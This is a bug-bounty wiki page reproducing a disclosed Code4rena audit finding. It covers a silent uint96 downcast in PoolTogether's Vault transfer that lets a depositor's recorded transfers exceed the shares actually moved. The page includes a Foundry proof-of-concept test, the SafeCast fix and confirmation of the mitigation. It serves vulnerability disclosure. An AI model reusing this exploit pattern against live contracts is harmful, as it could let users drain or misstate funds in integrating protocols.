Skip to content
Business logic Audit finding Advanced

Transfer of Vault tokens can cause accounting errors in other contracts

The Vault contract's transfer function downcasts the share amount to uint96, but the TwabController stores balances as uint112, so a transfer of more than uint96.max silently underflows. An attacker could deposit twice uint96.max shares, transfer them to a contract that records the full balance, and then still hold the remaining shares, causing accounting errors in integrating contracts.

shaka Follow

Originally disclosed on Code4rena

Submitted by shaka

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1155 https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/libraries/TwabLib.sol#L48

Vulnerability details

Vault::_transfer overrides the ERC20::_transfer function so the transfer is performed using the TwabController contract. In the implementation, _shares is downcasted to uint96 and this can result in an underflow silently.

There are nat spec comments indicating that the balance in TwapController is stored in uint96, which would mean that there is no real risk of underflow. However, the TwapController contract uses uint112 to store the balance, so the risk of underflow is real.

File: TwabLib.sol

47  struct AccountDetails {
48    uint112 balance; // <== not uint96
49    uint112 delegateBalance;
50    uint16 nextObservationIndex;
51    uint16 cardinality;
52  }

Impact

Integrations of other contracts or protocols with the Vault contract may result in accounting errors, due to the amount of shares transferred being less than expected due to silent underflow.

Proof of Concept

Foundry test:

  mapping(address => uint256) userToBalance;

  function testTransferUnderflow() external {
    vm.startPrank(alice);

    uint256 _amount = type(uint112).max;
    underlyingAsset.mint(alice, _amount);
    underlyingAsset.approve(address(vault), type(uint256).max);

    vault.deposit(`type(uint96).max`, alice);
    vault.deposit(`type(uint96).max`, alice);
    vm.stopPrank();
    assertEq(vault.balanceOf(alice), uint256(`type(uint96).max`) * 2);

    // Alice has now a balance of `type(uint96).max` * 2
    // Let's imagine some integration of another contract with the Vault contract
    // that performs the following operations:

    // 1. Alice approves all the Vault shares to the contract
    vm.prank(alice);
    vault.approve(address(this), type(uint256).max);

    // 2. The contract transfers all the Vault shares from Alice and registers them
    // in in a mapping
    uint256 aliceBalance = vault.balanceOf(alice);
    vault.transferFrom(alice, address(this), aliceBalance);
    userToBalance[alice] = aliceBalance;

    // 3. Only `type(uint96).max` shares are transferred, but the double of that amount
    // is registered as transfer underflows silently. So alice can now transfer the
    // remaining balance from the vault.
    vm.prank(alice);
    vault.transfer(bob, `type(uint96).max`);
  }

Recommended Mitigation Steps

Use OpenZeppelin’s SafeCast library to convert uint256 to uint96.

Assessed type

Under/Overflow

asselstine (PoolTogether) confirmed

PierrickGT (PoolTogether) commented:

Regarding the TwabController, we need to figure out if we want to keep uint112 for balances or if we want to use uint96.

PoolTogether mitigated:

Added SafeCast. PR: https://github.com/GenerationSoftware/pt-v5-vault/pull/9

Status: Mitigation confirmed. Full details in report from 0xStalin, dirk_y and rvierdiiev.


The original report as published on Code4rena, by shaka. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Vault's transfer function casts the share amount to uint96 without checking, while the TwabController uses uint112 for balances, so amounts above uint96.max wrap around silently.

Impact

Integrations of other contracts or protocols with the Vault contract may result in accounting errors, due to the amount of shares transferred being less than expected due to silent underflow.

What the attacker needed

Attacker can deposit more than uint96.max shares; victim contract trusts Vault transfer amounts

The fix

The issue was fixed by using OpenZeppelin's SafeCast library to convert uint256 to uint96.

How it was found

  1. Alice deposits twice the maximum uint96 value into the Vault.
  2. Alice approves a contract to spend all her Vault shares.
  3. The contract transfers all shares from Alice and records the full balance in a mapping.
  4. Only uint96.max shares are actually transferred due to silent underflow, but the contract records double that amount.
  5. Alice can then transfer the remaining shares from the Vault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract stored user balances in a smaller number type than another part of the system expected. When a user transferred a very large amount, the number wrapped around instead of raising an error, so the receiving contract thought it got more shares than it actually did. This could let the user keep some shares while the other contract's records were wrong.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by shaka

View all

5 more disclosed reports, best first.

More from PoolTogether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.